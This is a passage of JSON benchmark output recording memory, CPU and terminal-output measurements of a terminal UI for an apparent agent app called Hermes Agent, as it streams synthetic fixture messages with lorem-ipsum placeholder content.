"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-300.ndjson",
|
||||
"msgs": 300,
|
||||
"sha256": "ac81e975c299da7d50cfda7fc0fee33c356bd31a4e17a7f0f8e49905e205051a"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2351822,
|
||||
"gw_pid": 2351831,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.04,
|
||||
0.16,
|
||||
0.28
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 52404,
|
||||
"pss_kb": 26288,
|
||||
"private_dirty_kb": 15184,
|
||||
"vmhwm_kb": 52628,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1033,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 10,
|
||||
"rss_kb": 104956,
|
||||
"pss_kb": 64728,
|
||||
"private_dirty_kb": 48196,
|
||||
"vmhwm_kb": 106820,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1385,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 112924,
|
||||
"pss_kb": 72595,
|
||||
"private_dirty_kb": 56036,
|
||||
"vmhwm_kb": 112968,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1386,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 112968,
|
||||
"pss_kb": 72639,
|
||||
"private_dirty_kb": 56080,
|
||||
"vmhwm_kb": 112968,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1386,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 112972,
|
||||
"pss_kb": 72643,
|
||||
"private_dirty_kb": 56084,
|
||||
"vmhwm_kb": 112972,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 1387,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 112984,
|
||||
"pss_kb": 72655,
|
||||
"private_dirty_kb": 56096,
|
||||
"vmhwm_kb": 113052,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2046,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 35562,
|
||||
"pty_writes": 15,
|
||||
"rss_kb": 283176,
|
||||
"pss_kb": 240212,
|
||||
"private_dirty_kb": 222716,
|
||||
"vmhwm_kb": 303016,
|
||||
"utime_ticks": 105,
|
||||
"stime_ticks": 10
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 2862,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 35634,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 283208,
|
||||
"pss_kb": 240244,
|
||||
"private_dirty_kb": 222748,
|
||||
"vmhwm_kb": 303016,
|
||||
"utime_ticks": 105,
|
||||
"stime_ticks": 10
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3060,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 46545,
|
||||
"pty_writes": 20,
|
||||
"rss_kb": 283264,
|
||||
"pss_kb": 240300,
|
||||
"private_dirty_kb": 222804,
|
||||
"vmhwm_kb": 303016,
|
||||
"utime_ticks": 107,
|
||||
"stime_ticks": 10
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4074,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 57867,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 283308,
|
||||
"pss_kb": 240344,
|
||||
"private_dirty_kb": 222848,
|
||||
"vmhwm_kb": 303016,
|
||||
"utime_ticks": 107,
|
||||
"stime_ticks": 10
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 176
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 4706
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 300,
|
||||
"events_streamed": 1051,
|
||||
"pty_bytes_total": 62678,
|
||||
"pty_data_callbacks": 30,
|
||||
"first_byte_ms": 130,
|
||||
"session_create_ms": 176,
|
||||
"stream_start_ms": 1383,
|
||||
"vmhwm_kb": 303016,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 4,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": "d5e9558583159eac9e72e450848f98505ac9f48804d4f8c80a18baaab0f0f28c"
|
||||
},
|
||||
"digest_text": "⚕ Hermes Agent · opentui · ready ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── $ terminal Culpa cillum commodo enim. · 3.7s (2 lines) ◇ read_file Duis veniam sed anim. · 3.8s (18 lines) ◦ edit_file Tempor ipsum cupidatat voluptate. · 3.9s (7 lines) ◦ grep Sunt esse aliquip aliqua. · 4.0s (2 lines) ● web_search Consequat minim elit mollit. · 0.1s (18 lines) ◆ write_file Eiusmod lorem occaecat reprehenderit. · 0.2s (7 lines) $ terminal Proident velit laboris magna. · 0.3s (2 lines) Minim elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation incididunt dolor. Officia fugiat consequat minim elit mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation. ⧉ copy ⚕ Tempor ipsum cupidatat voluptate ullamco labore sit sunt esse aliquip aliqua. Excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit sunt esse. Veniam sed anim excepteur irure nostrud tempor ipsum cupidatat voluptate ullamco labore sit. - Sunt esse aliquip aliqua consectetur. - Consequat minim elit mollit pariatur aute quis. - Eiusmod lorem occaecat reprehenderit. const x4 = 58 function f3() { return x } Exercitation incididunt dolor proident velit laboris magna amet culpa cillum. Lorem occaecat reprehenderit exercitation incididunt dolor proident velit laboris magna amet. ⧉ copy ▄ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ● fake-model │ up: Ns │ …/lively-thrush/hermes-agent ❯ Type your message"
|
||||
}
|
||||
@@ -0,0 +1,799 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "mem",
|
||||
"rep": 0,
|
||||
"run_id": "mq8jwe2j-9ikb",
|
||||
"utc": "2026-06-10T20:58:24.187Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2367235,
|
||||
"gw_pid": 2367245,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/hermes-bench-mq8jwe2j-9ikb.scope",
|
||||
"load_avg_at_start": [
|
||||
0.25,
|
||||
0.35,
|
||||
0.39
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 53,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 60864,
|
||||
"pss_kb": 34205,
|
||||
"private_dirty_kb": 22956,
|
||||
"vmhwm_kb": 60992,
|
||||
"utime_ticks": 3,
|
||||
"stime_ticks": 0,
|
||||
"cg_current": 25100288,
|
||||
"cg_peak": 25100288,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1062,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 10,
|
||||
"rss_kb": 104924,
|
||||
"pss_kb": 64715,
|
||||
"private_dirty_kb": 48120,
|
||||
"vmhwm_kb": 107988,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 61902848,
|
||||
"cg_peak": 66801664,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1695,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 106908,
|
||||
"pss_kb": 66676,
|
||||
"private_dirty_kb": 50104,
|
||||
"vmhwm_kb": 107988,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 72585216,
|
||||
"cg_peak": 72609792,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1719,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 116132,
|
||||
"pss_kb": 75807,
|
||||
"private_dirty_kb": 59200,
|
||||
"vmhwm_kb": 116156,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 83578880,
|
||||
"cg_peak": 83726336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1720,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 116200,
|
||||
"pss_kb": 75875,
|
||||
"private_dirty_kb": 59268,
|
||||
"vmhwm_kb": 116352,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 83578880,
|
||||
"cg_peak": 83726336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1721,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 116356,
|
||||
"pss_kb": 75945,
|
||||
"private_dirty_kb": 59296,
|
||||
"vmhwm_kb": 116356,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 83578880,
|
||||
"cg_peak": 83726336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1721,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 116356,
|
||||
"pss_kb": 75945,
|
||||
"private_dirty_kb": 59296,
|
||||
"vmhwm_kb": 116364,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3,
|
||||
"cg_current": 83345408,
|
||||
"cg_peak": 83726336,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2073,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 244776,
|
||||
"pss_kb": 202114,
|
||||
"private_dirty_kb": 184712,
|
||||
"vmhwm_kb": 244784,
|
||||
"utime_ticks": 81,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 214659072,
|
||||
"cg_peak": 214659072,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2222,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 38613,
|
||||
"pty_writes": 15,
|
||||
"rss_kb": 251684,
|
||||
"pss_kb": 208873,
|
||||
"private_dirty_kb": 191432,
|
||||
"vmhwm_kb": 251712,
|
||||
"utime_ticks": 100,
|
||||
"stime_ticks": 8,
|
||||
"cg_current": 223088640,
|
||||
"cg_peak": 223354880,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2449,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 42490,
|
||||
"pty_writes": 17,
|
||||
"rss_kb": 319152,
|
||||
"pss_kb": 276164,
|
||||
"private_dirty_kb": 258648,
|
||||
"vmhwm_kb": 320132,
|
||||
"utime_ticks": 137,
|
||||
"stime_ticks": 11,
|
||||
"cg_current": 292880384,
|
||||
"cg_peak": 295047168,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2727,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 47176,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 337492,
|
||||
"pss_kb": 294504,
|
||||
"private_dirty_kb": 276988,
|
||||
"vmhwm_kb": 349112,
|
||||
"utime_ticks": 181,
|
||||
"stime_ticks": 14,
|
||||
"cg_current": 312528896,
|
||||
"cg_peak": 325537792,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3054,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 49632,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 370356,
|
||||
"pss_kb": 327363,
|
||||
"private_dirty_kb": 309852,
|
||||
"vmhwm_kb": 370368,
|
||||
"utime_ticks": 216,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 347090944,
|
||||
"cg_peak": 347090944,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3079,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 49632,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 377708,
|
||||
"pss_kb": 334715,
|
||||
"private_dirty_kb": 317204,
|
||||
"vmhwm_kb": 377752,
|
||||
"utime_ticks": 220,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 354160640,
|
||||
"cg_peak": 354422784,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3305,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 50573,
|
||||
"pty_writes": 22,
|
||||
"rss_kb": 398476,
|
||||
"pss_kb": 355483,
|
||||
"private_dirty_kb": 337972,
|
||||
"vmhwm_kb": 398476,
|
||||
"utime_ticks": 243,
|
||||
"stime_ticks": 17,
|
||||
"cg_current": 375959552,
|
||||
"cg_peak": 375963648,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3683,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 54942,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 436236,
|
||||
"pss_kb": 393243,
|
||||
"private_dirty_kb": 375732,
|
||||
"vmhwm_kb": 436236,
|
||||
"utime_ticks": 290,
|
||||
"stime_ticks": 18,
|
||||
"cg_current": 414687232,
|
||||
"cg_peak": 414982144,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3687,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 54942,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 436236,
|
||||
"pss_kb": 393243,
|
||||
"private_dirty_kb": 375732,
|
||||
"vmhwm_kb": 436512,
|
||||
"utime_ticks": 291,
|
||||
"stime_ticks": 19,
|
||||
"cg_current": 415211520,
|
||||
"cg_peak": 415211520,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3692,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 54942,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 436760,
|
||||
"pss_kb": 393767,
|
||||
"private_dirty_kb": 376256,
|
||||
"vmhwm_kb": 436772,
|
||||
"utime_ticks": 293,
|
||||
"stime_ticks": 19,
|
||||
"cg_current": 415473664,
|
||||
"cg_peak": 415473664,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3697,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 54942,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 437124,
|
||||
"pss_kb": 394131,
|
||||
"private_dirty_kb": 376620,
|
||||
"vmhwm_kb": 437308,
|
||||
"utime_ticks": 295,
|
||||
"stime_ticks": 19,
|
||||
"cg_current": 415997952,
|
||||
"cg_peak": 415997952,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4086,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 54942,
|
||||
"pty_writes": 25,
|
||||
"rss_kb": 534280,
|
||||
"pss_kb": 491287,
|
||||
"private_dirty_kb": 473776,
|
||||
"vmhwm_kb": 534288,
|
||||
"utime_ticks": 348,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 517648384,
|
||||
"cg_peak": 517742592,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4236,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 539180,
|
||||
"pss_kb": 496187,
|
||||
"private_dirty_kb": 478676,
|
||||
"vmhwm_kb": 539344,
|
||||
"utime_ticks": 364,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 523218944,
|
||||
"cg_peak": 523218944,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4241,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 539508,
|
||||
"pss_kb": 496515,
|
||||
"private_dirty_kb": 479004,
|
||||
"vmhwm_kb": 539584,
|
||||
"utime_ticks": 364,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 523743232,
|
||||
"cg_peak": 523743232,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4244,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 539728,
|
||||
"pss_kb": 496735,
|
||||
"private_dirty_kb": 479224,
|
||||
"vmhwm_kb": 539900,
|
||||
"utime_ticks": 365,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 523743232,
|
||||
"cg_peak": 523743232,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4260,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 541568,
|
||||
"pss_kb": 498575,
|
||||
"private_dirty_kb": 481064,
|
||||
"vmhwm_kb": 541648,
|
||||
"utime_ticks": 367,
|
||||
"stime_ticks": 23,
|
||||
"cg_current": 525840384,
|
||||
"cg_peak": 525840384,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4265,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 542688,
|
||||
"pss_kb": 499695,
|
||||
"private_dirty_kb": 482184,
|
||||
"vmhwm_kb": 543040,
|
||||
"utime_ticks": 368,
|
||||
"stime_ticks": 24,
|
||||
"cg_current": 527626240,
|
||||
"cg_peak": 527626240,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4269,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 57789,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 543204,
|
||||
"pss_kb": 500211,
|
||||
"private_dirty_kb": 482700,
|
||||
"vmhwm_kb": 543388,
|
||||
"utime_ticks": 368,
|
||||
"stime_ticks": 24,
|
||||
"cg_current": 528150528,
|
||||
"cg_peak": 528150528,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4965,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 59760,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 676032,
|
||||
"pss_kb": 633039,
|
||||
"private_dirty_kb": 615528,
|
||||
"vmhwm_kb": 676100,
|
||||
"utime_ticks": 446,
|
||||
"stime_ticks": 28,
|
||||
"cg_current": 665362432,
|
||||
"cg_peak": 665362432,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5094,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 59760,
|
||||
"pty_writes": 28,
|
||||
"rss_kb": 702136,
|
||||
"pss_kb": 659143,
|
||||
"private_dirty_kb": 641632,
|
||||
"vmhwm_kb": 702136,
|
||||
"utime_ticks": 460,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 693010432,
|
||||
"cg_peak": 693010432,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5395,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 62265,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 705816,
|
||||
"pss_kb": 662823,
|
||||
"private_dirty_kb": 645312,
|
||||
"vmhwm_kb": 705816,
|
||||
"utime_ticks": 491,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 696999936,
|
||||
"cg_peak": 696999936,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6099,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 65269,
|
||||
"pty_writes": 30,
|
||||
"rss_kb": 739096,
|
||||
"pss_kb": 696103,
|
||||
"private_dirty_kb": 678592,
|
||||
"vmhwm_kb": 739136,
|
||||
"utime_ticks": 564,
|
||||
"stime_ticks": 32,
|
||||
"cg_current": 731422720,
|
||||
"cg_peak": 731422720,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6126,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 67277,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 739464,
|
||||
"pss_kb": 696471,
|
||||
"private_dirty_kb": 678960,
|
||||
"vmhwm_kb": 739464,
|
||||
"utime_ticks": 567,
|
||||
"stime_ticks": 32,
|
||||
"cg_current": 731725824,
|
||||
"cg_peak": 731856896,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6880,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 70614,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 771508,
|
||||
"pss_kb": 728515,
|
||||
"private_dirty_kb": 711004,
|
||||
"vmhwm_kb": 771508,
|
||||
"utime_ticks": 645,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 765329408,
|
||||
"cg_peak": 765329408,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7109,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 72844,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 773340,
|
||||
"pss_kb": 730347,
|
||||
"private_dirty_kb": 712836,
|
||||
"vmhwm_kb": 773496,
|
||||
"utime_ticks": 668,
|
||||
"stime_ticks": 36,
|
||||
"cg_current": 767463424,
|
||||
"cg_peak": 767463424,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7658,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 74604,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 802688,
|
||||
"pss_kb": 759695,
|
||||
"private_dirty_kb": 742184,
|
||||
"vmhwm_kb": 802688,
|
||||
"utime_ticks": 723,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 797646848,
|
||||
"cg_peak": 797773824,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8113,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 76216,
|
||||
"pty_writes": 36,
|
||||
"rss_kb": 831540,
|
||||
"pss_kb": 788547,
|
||||
"private_dirty_kb": 771036,
|
||||
"vmhwm_kb": 831680,
|
||||
"utime_ticks": 769,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 828358656,
|
||||
"cg_peak": 828514304,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8512,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 77698,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 834300,
|
||||
"pss_kb": 791307,
|
||||
"private_dirty_kb": 773796,
|
||||
"vmhwm_kb": 834300,
|
||||
"utime_ticks": 810,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 830693376,
|
||||
"cg_peak": 831066112,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8794,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 79263,
|
||||
"pty_writes": 38,
|
||||
"rss_kb": 838572,
|
||||
"pss_kb": 795579,
|
||||
"private_dirty_kb": 778068,
|
||||
"vmhwm_kb": 838584,
|
||||
"utime_ticks": 839,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 835891200,
|
||||
"cg_peak": 835891200,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9118,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 79263,
|
||||
"pty_writes": 38,
|
||||
"rss_kb": 862420,
|
||||
"pss_kb": 819427,
|
||||
"private_dirty_kb": 801916,
|
||||
"vmhwm_kb": 862420,
|
||||
"utime_ticks": 871,
|
||||
"stime_ticks": 42,
|
||||
"cg_current": 860319744,
|
||||
"cg_peak": 860368896,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9622,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 83086,
|
||||
"pty_writes": 40,
|
||||
"rss_kb": 865588,
|
||||
"pss_kb": 822595,
|
||||
"private_dirty_kb": 805084,
|
||||
"vmhwm_kb": 865616,
|
||||
"utime_ticks": 922,
|
||||
"stime_ticks": 42,
|
||||
"cg_current": 863592448,
|
||||
"cg_peak": 863592448,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 10123,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 83086,
|
||||
"pty_writes": 40,
|
||||
"rss_kb": 895276,
|
||||
"pss_kb": 852283,
|
||||
"private_dirty_kb": 834772,
|
||||
"vmhwm_kb": 895276,
|
||||
"utime_ticks": 972,
|
||||
"stime_ticks": 44,
|
||||
"cg_current": 894144512,
|
||||
"cg_peak": 894468096,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
